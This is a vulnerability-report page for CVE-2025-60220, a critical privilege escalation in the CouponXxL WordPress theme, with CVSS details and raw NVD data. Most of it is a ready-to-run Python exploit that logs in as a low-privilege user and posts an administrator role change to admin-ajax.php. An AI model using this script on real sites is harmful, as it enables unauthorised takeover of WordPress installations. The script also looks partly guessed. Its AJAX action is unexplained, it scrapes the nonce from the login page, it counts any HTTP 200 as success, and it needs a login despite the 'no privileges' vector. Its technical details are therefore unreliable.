Security Vulnerability Report
中文
CVE-2025-60220 CVSS 9.8 CRITICAL

CVE-2025-60220

Published: 2025-10-22 15:15:59
Last Modified: 2026-04-15 00:35:42

Description

Incorrect Privilege Assignment vulnerability in pebas CouponXxL couponxxl allows Privilege Escalation.This issue affects CouponXxL: from n/a through <= 3.0.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

CouponXxL WordPress主题 <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60220 PoC - CouponXxL Theme Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re from urllib.parse import urljoin def extract_nonce(site_url, cookies=None): """Extract WordPress nonce from the site for authenticated requests.""" try: resp = requests.get(urljoin(site_url, 'wp-login.php'), timeout=10) match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', resp.text) if match: return match.group(1) except Exception as e: print(f"[!] Error extracting nonce: {e}") return None def exploit_privilege_escalation(site_url, username, password): """ Exploit CouponXxL theme privilege escalation vulnerability. This attempts to escalate a low-privilege user to administrator. """ session = requests.Session() # Step 1: Login with low-privilege account login_url = urljoin(site_url, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': site_url, 'testcookie': '1' } try: resp = session.post(login_url, data=login_data, timeout=10) cookies = session.cookies.get_dict() if 'wordpress_logged_in' not in cookies: print("[-] Login failed. Please check credentials.") return False print("[+] Successfully logged in as low-privilege user") # Step 2: Get WordPress nonce nonce = extract_nonce(site_url, cookies) if not nonce: print("[-] Failed to extract WordPress nonce") return False print(f"[+] Extracted nonce: {nonce}") # Step 3: Exploit the privilege escalation vulnerability # The vulnerability allows modifying user roles via AJAX endpoint ajax_url = urljoin(site_url, 'wp-admin/admin-ajax.php') # Payload to escalate to administrator role exploit_data = { 'action': 'couponxxl_user_update', # Theme-specific AJAX action '_wpnonce': nonce, 'role': 'administrator', # Privilege escalation 'user_id': 'current' # Target current user } resp = session.post(ajax_url, data=exploit_data, cookies=cookies, timeout=10) if 'success' in resp.text.lower() or resp.status_code == 200: print("[+] Privilege escalation attempt completed") print("[!] Verify by logging into wp-admin with same credentials") return True else: print("[-] Exploit may have failed. Check response:", resp.text[:200]) return False except requests.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print("Example: python3 cve-2025-60220.py http://target.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] CVE-2025-60220 CouponXxL Privilege Escalation PoC") print(f"[*] Target: {target}") print(f"[*] Username: {user}") exploit_privilege_escalation(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60220", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:59.107", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in pebas CouponXxL couponxxl allows Privilege Escalation.This issue affects CouponXxL: from n/a through <= 3.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/couponxxl/vulnerability/wordpress-couponxxl-theme-3-0-0-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}